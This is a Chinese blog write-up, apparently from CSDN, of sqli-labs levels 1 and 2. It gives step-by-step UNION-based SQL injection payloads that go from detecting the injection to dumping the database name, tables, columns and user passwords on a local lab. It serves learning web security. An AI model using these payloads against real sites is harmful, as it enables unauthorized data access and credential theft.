sql-labs闯关 第1~2关

**

这些都是我在学习web安全过程中的内容,写篇博客记录一下学习成果也是方便日后复习回想内容啦~~~


第一关

  1. 首先开启phpstudy,记得要先将mysql的服务关闭哦(如果不关闭的话会导致phpstudy的mysql启动失败)
  2. 成功开启之后输入自己对应的网址进入第一关
    在这里插入图片描述
  3. 根据网页上的提示,我们要首先输入id,因为是GET型注入,所以参数都是直接带在url后面的,意思就是我们可以直接把id写在url的后面,像这样
    在这里插入图片描述
    从上图我们可以看出 id = 1 的用户名为:Dumb,密码为:Dumb

一般我们判断是否有sql注入漏洞的方法为(以整型为例):
输入 id = 1 页面显示正常
输入 id = 1’ 页面显示错误,此时说明存在sql注入
输入id = 1’ and 1 = 1 --+ 页面显示正常

根据页面显示的变化我们可以得知,DB中的操作语句大概是这样的:select * from table where id =‘x’,因为我们正常输入数据的时候可以查询到结果,但输入1’时报错,说明此时的语句变成了:select * from table where id = ’ 1’ ’ 可以很容易看出多了一个单引号,所以我们用 --+ 或者 #
注释掉后面的语句,此时DB中的SQL语句就变成了:select * from table where id = ‘1’ and 1 = 1 --+’,此时单引号正好两个匹配

找到注入的类型后,我们就开始爆数据了
**

第一步:判断可供显示数据的位置有几个

输入如下内容:

http://localhost/sqli/Less-1/?id=1' order by 3 --+	

在这里插入图片描述

此时我们发现页面显示正常,说明有3个可以显示数据的位置,此时输入:

http://localhost/sqli/Less-1/?id=-1' union select 1,2,3 --+	

在这里插入图片描述
从图中可以看出2号3号位置可供我们显示我们想要的数据

PS:此时将前面的数据改成“-1”的原因在于,正确的数据会占用一个显示位置,所以我们用错误(不合法)的数据占位,让显示数据的那个位置空出来

第二步 爆数据库名

我们选择2号位置作为显示数据库名的地方,输入如下内容:

http://localhost/sqli/Less-1/?id=-1' union select 1,database(),3 --+

在这里插入图片描述
**

可以看到,数据库名为:security

**

第三步 爆表名

输入如下内容:

http://localhost/sqli/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+

在这里插入图片描述
**

得到表名有:emails、referers、uagents、users

**

第四步 爆表中的字段名

一般大家会对users表更感兴趣,所以这里我们以users表为例,其他表方法都是一样的,输入如下内容:

http://localhost/sqli/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 --+

**

得到users表的字段名有:id、name、password

**

第五步 爆数据

假设我们想知道用户名和密码,输入如下内容:

http://localhost/sqli/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username) from users),(select group_concat(password) from users) --+

在这里插入图片描述
**

得到的第一行数据为用户名,第二行数据为密码

**


第二关

和第一关相同,我们先判断是否存在SQL注入,若存在是属于什么类型的
*
我们像第一关那样输入?id=1’ and 1=1 --+ 发现页面报了一个sql语法错误,这个错误不属于sql注入错误,于是我们排除单引号型注入错误;---- 此时我们输入?id=1 and 1=2 --+发现页面出错,由此我们可以得出属于
整型的错误;接下来就是一样的操作
在这里插入图片描述
**

第一步 判断显示数据的位置

输入如下内容:

http://localhost/sqli/Less-2/?id=-1%20union%20select%201,2,3%20--+

得到结果:2、3号位置可显示数据
在这里插入图片描述
**

第二步 爆库名

输入如下内容:

http://localhost/sqli/Less-2/?id=-1 union select 1,database(),3 --+

得到结果:库名为:security
在这里插入图片描述
**

第三步 爆表名

输入如下内容:

http://localhost/sqli/Less-2/?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),database() --+

得到结果:表有:emails 、refers、uagents、users
在这里插入图片描述
**

第四步 爆字段

我们还是以users表为例,输入如下内容:

http://localhost/sqli/Less-2/?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),database() --+

得到结果:users表的字段分别有:id、username、password
在这里插入图片描述
**

第五步 爆数据

以users表中的姓名和密码为例,输入如下内容:

http://localhost/sqli/Less-2/?id=-1 union select 1,(select group_concat(username) from users),(select group_concat(password) from users) --+

得到结果:第一行是用户名;第二行是对应的密码
在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值